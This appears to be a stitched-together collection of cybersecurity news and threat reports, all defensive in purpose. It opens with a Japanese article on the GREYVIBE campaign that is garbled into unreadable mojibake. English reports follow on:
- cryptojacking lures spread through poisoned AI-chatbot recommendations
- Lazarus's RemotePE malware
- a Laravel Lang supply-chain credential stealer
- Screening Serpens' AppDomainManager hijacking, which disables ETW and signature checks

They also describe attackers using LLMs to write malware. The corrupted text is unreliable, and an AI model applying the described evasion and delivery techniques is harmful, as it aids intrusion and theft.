�@�u��������AWeb�T�C�g�̗����Ɂw���f�����g����ʂɃ��O�C�����邽�߂̐�p�|�[�^���x����������Ă��邱�Ƃ����������B���S��AI�����Ŏ����������ꂽ�ˋ�̃��f���ł���A���̂悤�Ȑl�ԗp�̃��O�C���T�C�g���킴�킴�\�z����K�v�͂Ȃ��B�܂�A���̃T�C�o�[�ƍߑg�D�́A�W�I�ł���E�N���C�i�R�l���牿�l����w�q���[�}���C���e���W�F���X�x�⌻�n�̋@�����������o�����߂����ɁA�{���̐l�Ԃ����ۂɁw�ٗp�x���āA���Ƃ�̃��C�u����b�g���^�p�����Ă���ƍl������B�T�C�o�[��Ԃ̍U���ƁA�������E�̐l�I�X�p�C���������S�ɗZ�������ɂ߂đg�D�I�Ȏ�����v�ƁA���̐��X�������Ԃ𖾂������B �@�E�N���C�i�R���x���������Ƃ����P�ӂ����p�����A�U�̃h���[�����P�����T�C�g���g�����U��������B �@�uUkrVarta�v��uFront Force�v�Ƃ��������ݑg�D����Web�T�C�g�ɂ́A�~�b�V�����X�e�[�g�����g�ⓧ�������|�[�g�A��g�p�[�g�i�[�ꗗ�A���݂̊�t���z�Ȃǂ����k�Ɍf�ڂ���Ă���A�ꌩ���Đ����Ȏ��P�c�̂ɂ��������Ȃ��BWeb�T�C�g���Łu�h���[�����B�d�l���v�Ȃǂ̃t�H�[�����_�E�����[�h�����A�L���𑣂��B �@���̃_�E�����[�h�̉ߒ��ŁuHTML�X�}�O�����O�v�Z�p���g���A�V���[�g�J�b�g�t�@�C���i.lnk�j���܂ރA�[�J�C�u���z�M�����B���ꂪ���s�����ƁAWindows�̐��K�v���Z�X�iRuntimeBroker.exe�j�ɃJ�X�^���V�F���R�[�h����������A�U���҂��O������f�o�C�X�����u����ł���u���o�[�X�V�F���v���m�������B�ŏI�I�ɂ́A�L�[���M���O���ʃL���v����[�A�t�@�C���ގ�@�\�����J�X�^����.NET RAT���W�J�����B �@Nebo�͂���܂ł̃L�����y�[���Ƃ͈قȂ�A���V�A��ɂ���č\�z���ꂽ�ِF�̃L�����y�[�����B �@�uSPO NEBO�v�ƌĂ��A���V�A�R�̌R���[����h�[�_�[�V�X�e����͂����Ƃ݂��鐸�I�ȃ��O�C����ʂ��p�ӂ����B�W�I�i���V�A�R�W�҂�G�R�̃V�X�e�������悤�Ƃ���E�N���C�i���̐l���j�ɂ́A���炩���߃n�[�h�R�[�h���ꂽ�F�؏�^�����Ă���A���O�C�������݂�Ɓu�U�̃A�b�v�f�[�g�v���Z�X�v�̃v���O���X�o�[�i�������A���W���[���ǂݍ��݁A�h���C�o�[�C���X�g�[���Ȃǁj���ڍׂɕ\�������B �@�v���Z�X��100���ɒB����ƁA�ŏI�I�Ɂu�݊����G���[�F���g���̃V�X�e���̓T�|�[�g����Ă��܂���v�Ƃ������b�Z�[�W���o���ďI������B��Q�҂́u������PC�̃X�y�b�N���������Ȃ������������v�Ɣ[�����Ē��߂Ă��܂����A���̕\���̗��ŁAAndroid�ł���ΘA�����ʘb�����A�ʒu�������X�p�C�E�F�A���N�����AWindows�ł���Η��Ń��[�_�[���쓮����RAT�����荞�܂�Ă���B �@�x�w���X�R���́A�����̃L�����y�[�����u���C�p�[�ȂǏ���j��ړI�ł͂Ȃ����S�ɏ����o���X�p�C�����ɓ������Ă���v�Ɛ�������B�E�N���C�i�Ɏd�|�����Ă���T�C�o�[�U���S�̂����n���A������C�p�[�U���Ȃǂ��m�F����Ă��邪�A��������GREYVIBE�ɂ��ẮA��т��ď��̐ގ�݂̂ɒ��͂��Ă���̂��������Ƃ����B �@�E�B�Y�Z�L���A������̕��͂œ��ɋ��������̂��AGREYVIBE���W�J����قڑS�ẴT�C�o�[�L����F�[���Ő���AI�iLLM�j���S�ʓI�Ɋ��p����Ă����Ƃ����������B �@�U���҂��\�z�����A�Z�b�g��R�[�h�A�摜�Ȃǂ̍��Ղ���́A�uIdeogram�v�uChatGPT�v�uGemini�v�Ƃ����������ȏ��pAI�T�[�r�X�̃��^�f�[�^��AAI�������L�̃f�[�^�̕肪�������o���ꂽ�B �@�x�w���X�R���ɂ��A�B��u�o���h���v�̃t�F�[�Y�i�t�@�C�����܂Ƃ߂�ZIP��RAR�A�[�J�C�u�ɂ���P����Ɓj������AI�̊֗^������ꂸ�A�]���ʂ�̋@�B�I�E�蓮�I�ȃp�b�P�[�W���O�����s����Ă����Ƃ����B�������A����ȊO�̃��A�[�̕��ʍ쐬�A�t�F�C�N�T�C�g�̃��A���ȉ摜�����A�}���E�F�A�R�[�h�̋L�q�A����ɂ͓�lj��c�[���̊J���Ɏ���܂ŁA�قڑS�Ă̍H����LLM�̎x�����Ă����B �@�����ׂ����ƂɁA�}���E�F�A�̃\�[�X�R�[�h������́ALLM���I�y���[�^�[�̃v�����v�g�i�w�����j�ɉ������ďo�͂����ۂ̃R�����g�����A�폜���ꂸ�ɂ��̂܂c������ԂŌ������Ă����Ƃ����B �@�Ⴆ�A�U���҂��u�o�b�N�O���E���h�ʼnB���Ɏ��s���郍�W�b�N��g��ł���v��AI�Ɉ˗������Ƃ��AAI�́u�W����conhost�ł̓^�[�Q�b�g�Ńw�b�h���X���T�|�[�g���Ă��Ȃ����߃T�C�����g�Ɏ��s���܂��B�W���I�ȑ�ֈĂƂ��āAWindows�X�^�C����Hidden�ɂ���PowerShell���g���ׂ��ł��v�ƃA�h�o�C�X���Ă����B �@����ɁAAI����@�̃R�[�h�ɕt�����uUniversal Launcher Script�iPayload�{Decoy Logic�j�v�Ƃ������̂܂ł����A���ۂ̍U���C���t���̃t�@�C������������Ƃ��Ă��̂܂g�p����Ă����B �@�x�w���X�R���́u�U���҂͒P�Ƀt�B�b�V���O���[���̕��͂𐮂��邽�߂�����AI���g���Ă���̂ł͂Ȃ��B�ǂ̂悤�ȃR�[�h�������ׂ����A�ǂ̂悤�ɃZ�L�����e�B���i�̌��m��������ׂ����Ƃ������w�u���C���X�g�[�~���O�x�̒i�K����AAI��ϋɓI�Ɋ��p���A�L����F�[���S�̂��������E�����������Ă���B���ꂪ����̋��Ђ̖{���ł���v�ƁA���Ԃ̐[������i�����B GREYVIBE�̒������ʂ́A�n���w�I�ȋْ��������E�N���C�i���ӂł̏o�����ł���A�ꌩ����Ɠ��{��ƂɂƂ��Ắu�������E�̕����n��ɂ�����b�v�ɉf��B�������A����͌�肾�낤�B�x�w���X�R�����w�E�����ʂ�A���Ԃ̃T�C�o�[�ƍ߃G�R�V�X�e�����璲�B�����U���c�[����ALLM�ɂ���čœK�����ꂽ�U���v���C�u�b�N�́A�u���ɐ��E���̃A���_�[�O���E���h�}�[�P�b�g�ւƊҗ����A��ʉ����邩�炾�B�܂�A�����E�N���C�i�̃G�l���M�[�@�ւ��P�������x��AI���p�U���́A�����ɂ͓��{�̐����Ƃ�d�v�C���t����W�I�Ƃ������K�ړI�̃����T���E�F�A�U���Ƃ��āA���̂܂ܗ��p�����\��������B ���ɓ��{��ƂɂƂ��đ傫�ȋ��ЂƂȂ�̂́AAI�������炷�u����̕ǂ̓˔j�v�Ɓu�G���[��Ȃ��f�R�C�v�̗Z�����낤�B����܂ŁA���{��W�I�Ƃ����C�O����̃t�B�b�V���O���[����\�[�V�����G���W�j�A�����O�́A���{����L�̕s���R�ȕ\����t�H���g�̈�a���ɂ���āA�]�ƈ��̌��ꃌ�x���́g�����h�ŋC���t���A�h����P�[�X�����������B�������AGREYVIBE���E�N���C�i���V�A��̌���������AI�Ŋ����ɋU�������悤�ɁA���݂�LLM���g���A���{�̏Ȓ��̃��^�[�w�b�h��͂�����������PDF��A�Г��̑����E�@�����傩��̒ʒB���[�����A��a���̂Ȃ��u�����ȃr�W�l�X���{��v�ő�ʐ������邱�Ƃ��ɂ߂ėe�ՂɂȂ�͂����B ����ɐ[���Ȃ̂́A�U���Ɂu���@�ȑ̌��v���I�݂ɑg�ݍ��܂�Ă���_���BPhantomClick�̎���̂悤�ɁA�s�R�ȃ����N���N���b�N�������ʁA�ŏI�I�Ɏ������{���ɎQ�������������{����Zoom��c�ɉ��̃G���[���Ȃ��ڑ����ꂽ�Ƃ�����AIT���e���V�[�̍����Z�p�҂ł����Ă��A���̉ߒ��Ŏ���̃N���b�v�{�[�h���爫�ӂ���R�}���h�����s������ꂽ���ƂɋC���t���͕̂s�\�ɋ߂��BPrincessClub�̂悤�ɁA�v�����ꂽ�\�t�g�E�F�A���C���X�g�[���������ʁA�ړI�̃R���e���c������ɃA�����b�N�����Ƃ����u�������C���Z���e�B�u�v���^������t���[�̑O�ł́A�]���́u�������T�C�g�ɂ͋߂Â��Ȃ��v�u�G���[���o����V�X�e������ɕ���v�Ƃ����Z�L�����e�B����͊��S�ɖ��͉������B �ł�AI�ɂ���č������E�I�������ꂽ���Ђɓ��{��Ƃ͂ǂ��R��������̂��B 1�ڂ́A�l�ԂɈˑ�����Z�L�����e�B�̐�����E�p���A�^�p�ł͂Ȃ��d�g�݁E���[���Ŏ��̐��𐮂��邱�Ƃ��BPhantomClick�̎���́AWeb�u���E�U����PowerShell�ɃR�}���h���R�s�[���y�[�X�g������Ƃ����u�l�Ԃ̍s���v����Ă��邪�A�V�X�e�����Łu�u���E�U�v���Z�X���ʃ��[�U�[��������̕s�v��PowerShell�̋N���v��u�s�R�Ȉ������X�N���v�g���s�v�����i�Ƀu���b�N�A���邢��EDR�iEndpoint Detection and Response�j�ő����Ɋu������ݒ�ɂȂ��Ă���A���[�U�[�����܂���Ď��s���Ă��܂����Ƃ��Ă���Q�͍ŏ����ɐH���~�߂���B 2�ڂ́A�A�C�f���e�B�e�B�[�Ǘ��̔��{�I�ȋ������B�x�w���X�R�����������悤�ɁA�U���҂͐Ǝ㐫��˂��ė͔C���ɐN������̂ł͂Ȃ��A���g�[�N����ID���g���āA���K�̃��[�U�[�Ƃ��ăV�X�e���Ɂu������āv�����Ă���B����ɑR����ɂ́A���v�f�F�iMFA�j�̓��������łȂ��A�F�،�̃Z�b�V�����ł����Ă��A�N�Z�X����IP�A�h���X��f�o�C�X�̏�Ԃ��s�R�܂��͋}���ɕω������ꍇ�ɓ��I�ɃA�N�Z�X�����������u�p���I�F�v�̎������}���ƂȂ�B Anthropic�����J�����uClaude Mythos Preview�v�ɑ�\�����悤�ɁA�uAI�ɂ������v��������t�F�[�Y�����I�Ɉ��k���钆�A��Ƃ̖h��̐��ɂ��ω��������Ă���B��������́u�U�����ɑR���č�����AI�����ׂ��v�Ƃ����ɒ[�Șb�ł͂Ȃ��B��ɋ�������ɉ����āAIT���Y�̐o����A�Ǝ㐫�̔c������уp�b�`�K�p�A�C���V�f���g�Ή����̓����������߂Ă����Ƃ������A��{�I��������܂łł��Ă��Ȃ������Z�L�����e�B���O�ꂷ�邱�Ƃ��K�v���ƋL�҂͍l�����B�i�c�����l�j Copyright © ITmedia, Inc. All Rights Reserved.

AI chatbot recommendations lure users to cryptojacking malware sites Cybercriminals are using AI chatbot interactions alongside poisoned search results to direct users to malicious download sites in an active cryptojacking campaign, Microsoft has warned. The campaign impersonates legitimate software tools such as CrystalDiskInfo, HWMonitor, Display Driver Uninstaller (DDU), FurMark, K-Lite Codec Pack, and PDFgear. Screenshot of search engine results showing a malicious source of hwmonitor (Source: Microsoft) “The selection of these brands is deliberate. Each application is favored by PC enthusiasts and hardware-focused users, precisely the audience most likely to own a high-performance discrete GPU, the hardware that makes GPU cryptocurrency mining economically viable,” the researchers said. The threat actor appears focused on compromising systems with higher mining value instead of infecting large numbers of devices. Beyond cryptocurrency mining, the campaign gives attackers persistent remote access to compromised systems through abused ScreenConnect deployments. ScreenConnect, also known as ConnectWise Control, is a legitimate remote management tool widely used by IT administrators. Researchers warned the access could later support data theft, lateral movement, or ransomware activity. Attack chain uses DLL sideloading and ScreenConnect The campaign begins when users search for popular system utility and hardware-monitoring software on search engines and are presented with manipulated results leading to attacker-controlled lookalike websites. In April 2026, Microsoft identified cases where users were directed to malicious websites through interactions with LLM-based chatbots instead of traditional search engine results. “In these cases, users querying AI chatbots for software download recommendations were presented with links to attacker-controlled domains within generated responses,” they noted. Analysis of VirusTotal scans associated with the domains identified traffic metadata referencing chatbot interactions as a potential referral context. “While this behavior is based on observed patterns and correlated data sources, it’s consistent with emerging techniques in AI search result poisoning, representing an extension of traditional SEO poisoning beyond conventional search engines,” they added. Each fake website presents a download button for what appears to be a legitimate utility, though the download instead retrieves a malicious ZIP archive hosted on campaign-linked subdomains. More than 150 domains linked to the operation have been identified since March 2026. The downloaded ZIP archive contains a legitimate executable for the spoofed utility alongside a malicious DLL file named autorun.dll. When launched, the program loads the DLL from the same folder through DLL sideloading, a technique that allows malicious code to run through a trusted application while reducing suspicion and visible security warnings. Analysis revealed nine different autorun.dll variants used in the campaign. The malicious DLL then uses msiexec.exe to silently install another malicious file named vcredist_x64.dll, disguised as a Visual C++ Redistributable package. The file functions as an installer for ScreenConnect. “Once the ScreenConnect session is established, the attacker drops a binary named SimpleRunPE.exe directly via ScreenConnect’s file-transfer feature,” the researchers added. Once executed, SimpleRunPE.exe copies itself into a hidden installation folder under the name RuntimeHost.exe and modifies file attributes to hide the malware from default Windows Explorer views. In some cases, the attackers used a PowerShell script to download the payload from a remote server, save it locally as “vlc.exe,” create a scheduled task to launch it, and then delete the script to reduce forensic traces. Malware deploys miners and evades analysis The final-stage payload communicates with attacker-controlled infrastructure, collects and transmits host information, and downloads cryptocurrency miners at runtime. Analysis showed support for three mining programs: gminer, lolMiner, and SRBMiner-MULTI. The operation abuses legitimate Windows and Microsoft .NET utilities during execution. Researchers detailed the use of process hollowing to launch mining payloads under trusted Microsoft-signed binaries, a technique in which malicious code is injected into legitimate processes to help conceal execution and evade detection. The malware monitors for diagnostic and forensic utilities including Windows Task Manager, Process Explorer, Process Hacker, and System Informer. If any of the tools are detected, mining activity is immediately terminated. The malware also recreates persistence artifacts, including Registry Run keys, and re-configures Defender exclusions in the event they are removed. Mitigation guidance The researchers recommend enabling cloud-delivered protection, attack surface reduction rules, and endpoint detection and response protections in block mode, while monitoring for unauthorized Defender exclusion changes and suspicious remote management tool activity. Microsoft also published a list of indicators of compromise (IOCs) associated with the campaign.

Cybersecurity researchers have shed light on a cross-platform malware called RemotePE that has been put to use by the North Korea-linked Lazarus Group in attacks targeting financial and cryptocurrency organizations. RemotePE, per NCC Group subsidiary Fox-IT, is part of a multi-stage attack chain that involves two loaders tracked as DPAPILoader and RemotePELoader. "DPAPILoader decrypts and loads RemotePELoader from disk using the Windows Data Protection API (DPAPI)," security researchers Yun Zheng Hu and Mick Koomen said. "RemotePELoader beacons to a C2 server and waits until it receives the next stage: RemotePE, a RAT executed entirely in memory and never written to disk, leaving no filesystem artifacts." RemotePE was first highlighted by the security vendor in September 2025 in connection with an attack targeting an unnamed organization in the decentralized finance (DeFi) sector, leading to the deployment of three malware families, including PondRAT, ThemeForestRAT, and RemotePE. The intrusion commenced with the compromise of an employee's device through social engineering, after having approached the victim on Telegram under the guise of an existing employee of a trading company and scheduling a meeting on fake Calendly and Picktime domains. The RemotePE infection sequence goes through three stages, with the DPAPILoader DLL ("Iassvc.dll") responsible for decrypting and loading an encrypted payload from disk using DPAPI. The earliest DPAPILoader artifact dates back to November 2023. The decrypted payload is another loader, RemotePELoader, which is designed to contact a remote server ("aes-secure[.]net") over HTTP, fetch the core module, and execute it in memory, but not before taking steps to evade detection using techniques like Hell's Gate and patching Event Tracing for Windows (ETW). The final stage is a full-fledged remote access trojan named RemotePE that's written in C++ and polls a command-and-control (C2) server for further instructions. The malware supports six categories of commands, allowing it to - Obtain or modify the C2 configuration Get or change the current working directory, register a new DLL module, get loaded DLLs, and unload a DLL Perform file operations Get a list of running processes, create a new process, or kill process by ID Sleep for a predetermined interval or exit RemotePE Ping the server A notable aspect of the file deletion command is that it overwrites each file with constant bytes seven times before renaming and deleting it, a pattern also observed in PondRAT and POOLRAT (aka SIMPLESEA). PondRAT is assessed to be a lightweight version of POOLRAT. Fox-IT said it obtained four RemotePE samples that indicate the RAT was under active development between mid-2023 and mid-2024. The first version has a compilation timestamp of July 4, 2023. "The toolset's environmental keying, memory-only execution, EDR evasion, and low forensic footprint suggest it is purpose-built for long-term observation campaigns," the researchers said. "This allows the actor to quietly maintain access over an extended period before moving to a high-impact final objective such as data theft or a large-scale financial heist, consistent with this actor's known history." "The actor-in-the-loop delivery model and the toolset's low detection rate (neither RemotePELoader nor RemotePE appeared on VirusTotal prior to this publication) suggest this toolset may be reserved for high-value targets where long-term, stealthy access is the objective, consistent with this Lazarus subgroup's known focus on financial and cryptocurrency organizations."

A supply chain attack targeting the Laravel Lang localization packages has exposed developers to a sophisticated credential-stealing malware campaign after attackers abused GitHub version tags to distribute malicious code through Composer packages. Security firms StepSecurity, Aikido Security, and Socket warned about the compromise on Friday, warning that attackers had rewritten GitHub tags across four repositories maintained by the Laravel Lang organization rather than publishing entirely new malicious versions. The affected packages include laravel-lang/lang, laravel-lang/http-statuses, laravel-lang/attributes, and possibly laravel-lang/actions. The Laravel Lang packages are third-party localization packages and are not part of the official Laravel project. According to Aikido, the attackers compromised 233 versions across three repositories, while Socket said roughly 700 historical versions may have been impacted. What made the attack stand out is that the actual project's source code was not modified to include malicious code, but instead the attackers abused a GitHub feature that allows tags to point to commits in forks of the same repository. "Rather than publishing a new malicious version, the attacker rewrote every existing git tag in each repository to point at a new malicious commit," explained StepSecurity. "The rewrites started at 22:32 UTC against laravel-lang/lang (the flagship Laravel translations package, with 502 tags) and finished by 00:00 UTC against laravel-lang/actions. All four repositories share the same fake author identity, the same modified files, and the same payload behavior, which makes them almost certainly the work of one actor using one compromised credential with org wide push access." This allowed the attackers to publish what appeared to be legitimate release tags for the project, which actually led to malicious commits stored in an attacker-controlled fork of the repository. When developers installed the package via Composer, it would download the malicious code while it appeared to install legitimate Laravel Lang releases. Executes a credential-stealer The researchers found that the malicious releases introduced a malicious file named 'src/helpers.php', which was automatically loaded by Composer. The injected code acted as a dropper that downloaded a second payload from the attacker's command and control server at flipboxstudio[.]info. The downloaded PHP payload [VirusTotal] was a large cross-platform credential stealer for Linux, macOS, and Windows that harvests cloud credentials, Kubernetes secrets, Vault tokens, Git credentials, CI/CD secrets, SSH keys, browser data, cryptocurrency wallets, password managers, VPN configurations, and local .env configuration files. The malware also contains regular expression patterns used to extract AWS keys, GitHub tokens, Slack tokens, Stripe secrets, database credentials, JWTs, SSH private keys, and cryptocurrency recovery phrases from files and environment variables. On Windows systems, the PHP payload also extracts a base64-encoded executable [VirusTotal] embedded within the file, which is written to the %TEMP% folder as a random .exe filename, and then launched. BleepingComputer's analysis of the Windows infostealer shows it is named 'DebugElevator' and designed to target Chrome, Brave, and Edge, and extract App-Bound Encryption keys needed to decrypt stored browser credentials. An embedded PDB path also references the Windows account name 'Mero' and contains 'claude,' potentially indicating that AI was used to assist in developing the Windows malware. C:\Users\Mero\OneDrive\Desktop\stuff\claude\Chromium-DebugElevator\x64\Release\DebugChromium.pdb The researchers say that once the sensitive data has been extracted, the malware encrypts it and sends it back to the C2 server. Aikido says they reported the incident to Packagist, which responded quickly by removing the malicious versions and temporarily unlisting the affected packages to prevent additional installations. Developers using Laravel Lang packages are advised to review installed package versions, rotate exposed credentials, inspect systems for indicators of compromise, and, if possible, check for historical outbound connections to flipboxstudio[.]info. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Unit 42 researchers have observed evidence of cyberattacks by the Iran-nexus advanced persistent threat (APT) group Screening Serpens (aka UNC1549, Smoke Sandstorm and Iranian Dream Job). Based on our visibility, we believe that the group targeted entities in the U.S., Israel and the United Arab Emirates, and likely two additional Middle Eastern entities. This research follows an evolution through cyberattacks in mid-February through April 2026. The timing of these campaigns aligns closely with that of the regional conflict that started in the Middle East on Feb. 28, 2026. We discovered six new remote access Trojan (RAT) variants developed and deployed between February and April 2026. Screening Serpens has been active since at least 2022. Their recent activity demonstrates an increase in technical capabilities and operational resilience. Screening Serpens primarily targets technology sector professionals, using highly tailored social engineering. The group frequently uses personalized recruitment lures that impersonate trusted brands and hiring platforms, to trick targets into initiating the infection chain. We assess with moderate-high confidence that the campaigns discussed in this article are conducted by Screening Serpens. The group has maintained a consistently high operational tempo throughout March and April 2026. We have grouped the six newly discovered RAT variants into two new malware families that were deployed in concurrent espionage campaigns. Based on the timing of deployment, our analysis indicates two sets of coordinated cyberattacks. At least one variant was compiled and deployed with specific timing instructions. Our analysis reveals a continuous cycle of development and deployment, characterized by specialized and upgraded variants with diverse functionalities, as shown in each targeted campaign. The most critical evolution in the group’s recent campaign uses a technique called AppDomainManager hijacking. This hijack method manipulates the initialization phase of .NET applications to proactively disable the application’s own security mechanisms via a legitimate configuration file. The disabled security in these apps left the targeted entities vulnerable to the deployed multi-functional RATs. Palo Alto Networks customers are better protected from the threats described in this article through the following products and services: Advanced WildFire Advanced URL Filtering and Advanced DNS Security Cortex XDR and XSIAM Cortex Cloud Cortex AgentiX Agentic Assistant can assist teams in investigating incidents. If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. Screening Serpens is an Iran-nexus APT group operating as a cyberespionage group aligned with Iranian intelligence objectives. While historically focused on regional targets in the Middle East, the group gained industry attention in late 2025 when Check Point Research detailed its strategic expansion into Western Europe. During these campaigns, Screening Serpens consistently set its sights on high-value sectors, heavily targeting aerospace, defense manufacturing and telecommunications organizations. These operations are characterized by targeted social engineering campaigns, using lures designed specifically to trick job seekers in these key sectors. Between February and April 2026, we identified six new remote access Trojan (RAT) variants that Screening Serpens deployed during the recent regional conflict. Based on VirusTotal metadata, it appears these samples may have been used against targets across the U.S., Israel and the UAE as well as two additional Middle Eastern entities. The samples are split into two distinct malware families: A newly discovered malware family that we call MiniUpdate An evolved iteration of a malware family named MiniJunk that we track as MiniJunk V2 Both families build directly upon the actor's established playbook. Their infection chains begin with targeted spear phishing lures, leveraging DLL sideloading for execution. The threat actor routes command and control (C2) traffic through a set of three to five unique domains, mostly hosted by Azure, dedicated to each target and variant. This technique prevents cross contamination to increase operational resiliency. Here is the timeline of events in the recent Screening Serpens campaign: In late 2025, Screening Serpens expanded to targets in Western Europe. In mid-February, 2026, we found an indication of a payload delivery to a Middle Eastern target. In late March 2026, we identified samples uploaded to VirusTotal from organizations in the U.S. and Israel. Additional samples from the UAE and another Middle Eastern entity were discovered in mid-April 2026. Figure 1 shows the transition from campaign preparation to a surge in coordinated attacks following the onset of the regional conflict. As seen in Figure 1, we observed the MiniUpdate family samples uploaded on March 26, April 15 and April 17. We observed the MiniJunk V2 family samples uploaded on Feb. 17 and in an upload on March 27. We discuss the MiniUpdate family first in our analysis, and then cover the details of MiniJunk V2. After reading Check Point's initial report, we pivoted off the specific file name (Hiring Portal.zip) of another known Screening Serpens artifact. In doing so, we uncovered four samples that attackers deployed in two sets of coordinated attacks during the recent conflict. VirusTotal metadata indicates that the campaigns may have targeted entities in the U.S. and Israel on March 26, 2026, and most recently, the UAE and another Middle Eastern entity on April 15 and 17, 2026, respectively. We named this malware family MiniUpdate, referencing the internal file name that we observed within these payloads: UpdateChecker.dll. By comparing the two sets of coordinated attacks, we observed continued refinement of the malware’s abilities over the course of a month. The differences we identified between the samples were superficial changes to things like opcode mappings and specific functionalities, such as the latest variant’s ability to exfiltrate files in chunks. The most significant difference between the malware variants is the rotation of their C2 domains. While we observed these active adjustments, we did not observe a significant evolution in the malware itself. Attackers delivered this variant via an archive file, as part of a campaign impersonating a global air carrier. Deployment of this malware began no earlier than March 26, 2026. An analysis of the archive's contents reveals a tailored social engineering trap aimed specifically at technical personnel. The ZIP contains a nested payload archive (Hiring Portal.zip) packaged alongside six PDF documents. These PDFs are crafted job requisitions targeting high-level IT and engineering roles (e.g., Senior Software Engineer Job ID JR205894.pdf). Attackers mimicked legitimate corporate job applications by including specific job IDs, increasing the likelihood that the target will review the descriptions and extract the nested Hiring Portal.zip. Targets likely believed they were accessing an application portal or a technical assessment. We did not find any indication in this campaign of a breach into the global air carrier’s infrastructure. The impersonation was limited to using its name and branding. Figure 2 shows all the falsified job documents and the Hiring Portal.zip archive. Figure 3 shows one of the Senior Software Engineer Job ID JR205894.pdf files from this archive, which contains detailed job requirements. Figure 4 shows the contents of the Hiring Portal.zip archive contained in the initial archive file. Upon executing setup.exe, the malware triggers a spoofed error window titled Hiring Portal.zip to establish legitimacy with the target, as Figure 5 shows. This variant was delivered via an archive file, to impersonate an install file for a popular video conferencing platform. Our analysis reveals that this variant was recently deployed, no earlier than March 26, 2026, ostensibly against an Israeli entity. Analysis of sequential artifact uploads to VirusTotal from March 2026 provides a view into Screening Serpens’ social engineering tactics. The threat actor actively engaged with the target to deliver convincing lures. By correlating the timeline of these uploads, we can map the sequence of the attack: Establishing trust: The target received a number of authentic video conferencing links, possibly to build trust during the phishing campaign. Initial lure: Capitalizing on the precedent of legitimate links, the attacker delivered a lookalike domain to attempt to compromise the target: hxxps[:]//[redacted][.]live/meeting/edcdba624ddb43c2a1dcf334aa493068 Looking into the response reveals a phishing landing page designed to mimic an authentic meeting invitation. It uses the brand’s familiar styling and contains a "join from workplace app" button. The goal of this cloned frontend design is to trick a target into believing they need to install or update their client software to enter a scheduled meeting. However, the page contains a payload, hidden within JavaScript code, which redirects the victim’s download request away from the legitimate servers. If the victim interacts with the page, a payload delivery is triggered from a third-party file-sharing service via the following URL: hxxps[:]//2117.filemail[.]com/api/file/get?filekey=T0EnWQ6NugHkW_kLfDxPBEw_um6NSkg9ZwNRQ_5lrKrLLUo35pV8m3TKv1LqF3zZzdUm Payload delivery: The targeted lure tricked the victim into downloading the malicious archive from the impersonating website. This file served as the delivery archive for a malicious sideloading chain. There is no indication that the attackers compromised or breached the impersonated organization’s infrastructure or systems. Their brand was only used in the context of impersonation to compel the victim to manually execute the malicious payload. Figure 6 shows the contents of that archive. The first six files are part of the execution chain, while the last file is a genuine installer for the video conferencing application. In the attacks that may have targeted entities in the UAE and potentially another Middle Eastern country, we identified two new MiniUpdate variants, compiled and submitted to VirusTotal between April 15 and April 17, 2026. While the initial loading mechanism remains consistent with previous variants, leveraging the same impersonation decoy, this version introduces a few upgrades to its infrastructure and core capabilities. In the variant that may have targeted an entity in the UAE on April 15, 2026, the threat actor rotated the C2 domains to impersonate a health sector entity, using: PremierHealthAdvisory[.]com PremierHealthAdvisory.azurewebsites[.]net Premier-HealthAdvisory.azurewebsites[.]net In the variant that may have targeted another Middle Eastern entity on April 17, 2026, the threat actor rotated the C2 domains to impersonate a financial sector entity, using: Ramiltonsfinance[.]com Ramiltonsfinance.azurewebsites[.]net Ramiltons-finance.azurewebsites[.]net Furthermore, the April variants feature an expanded command dispatcher with 18 distinct opcodes, two more than the earlier March campaigns. This increase is valuable to the attackers because it expands their toolkit for stealing data. The primary new command allows the malware to break large files into smaller chunks during upload, providing a stealthier and more reliable way to exfiltrate data from compromised environments. The threat actor employed a .NET-specific code execution technique known as AppDomainManager hijacking. This method allows the attackers to hijack the execution flow of a legitimate application by manipulating its configuration file, granting them arbitrary code execution before the host application even starts. Consequently, the malware can preemptively disable logging mechanisms and other core features that endpoint security tools rely on to detect and block malicious activity. At its core, this configuration relies on the tag to force the local sideloading of an attacker-controlled assembly. It then instantiates a custom AppDomainManager type (such as MyAppDomainManager) to achieve this Pre-Main() execution. However, the true sophistication of this variant lies in its native defense evasion directives. By adding just a few specific lines of XML, the threat actor instructs the .NET common language runtime (CLR) to proactively disable its own security mechanisms: Silencing event tracing for Windows: The configuration includes the directive . Event Tracing for Windows (ETW) is the primary telemetry source used by modern endpoint detection and response (EDR) solutions to monitor .NET execution, track loaded assemblies and detect malicious behaviors in memory. By disabling ETW natively via the application configuration, the attacker potentially shrouds the EDR to the CLR's runtime behavior without needing to perform suspicious memory patching or API hooking. Bypassing signature validation: The directive instructs the CLR to skip strong-name signature validation. This ensures that even if the system normally requires cryptographic verification for loaded assemblies, the attacker's unsigned or tampered InitInstall.dll will load silently without throwing a security exception. Preventing safe redirections: The XML configuration file includes . Publisher policies are typically used by Microsoft to redirect application bindings to newer, safer or patched versions of an assembly. Disabling this default policy ensures that the CLR loads the attacker's localized payload and ignores any system-level overrides. Forced runtime environment (safe mode): The configuration uses the directive. This parameter ensures the application executes in a highly controlled, predictable environment by requiring the exact specified version of the .NET runtime. By forcing this strict environment, the attacker reduces the risk of accidental application crashes, which would generate Windows error pop-ups and logs, immediately alerting the user or defenders that something is wrong. Figure 7 shows the full XML configuration. This represents a mature living-off-the-land approach to execution. Rather than writing complex shellcode to unhook security monitors or patch ETW in memory, actions that often trigger behavioral alerts, Screening Serpens asks the .NET runtime to turn off its own security mechanisms via a legitimate configuration file. Combined with the Pre-Main() execution timing, the malicious InitInstall.dll payload runs in an entirely unmonitored, highly privileged context. When the advanced .config file successfully hijacks the CLR initialization, it triggers the execution of InitInstall.dll. This C# assembly acts as the primary loader and installer for the second malware family, MiniUpdate. Before staging the final payloads, the malware unpacks its configuration. The malware's static constructor uses a custom, two-step cipher to decrypt nine key configuration strings. First, the constructor reverses the input bytes interpreted as UTF-8. Next, it applies a standard ROT13 cipher to the alphabetic characters. Once the strings are decrypted, the loader initiates a sequence that blends user interface (UI) deception with stealthy file staging and persistence. 1. The decoy UI and lure: To disguise the malicious activity happening in the background, the loader launches a background thread that renders a borderless, transparent window. This window displays a custom circular loading spinner specifically designed to mimic a legitimate installer progress indicator. This window has no taskbar entry, making it difficult for a user to inspect or close, as Figure 8 shows. 2. Staging the MiniUpdate payload: While the fake spinner is displayed, the malware resolves its current directory and constructs a new hidden installation path under the legitimate local appdata directory of the video conferencing application’s folder. The malware specifically adds a \bin\update folder to hold its files. If the directory does not exist, the malware creates it. The malware then copies and renames four files from the initial infection folder into this new directory: setup.exe is 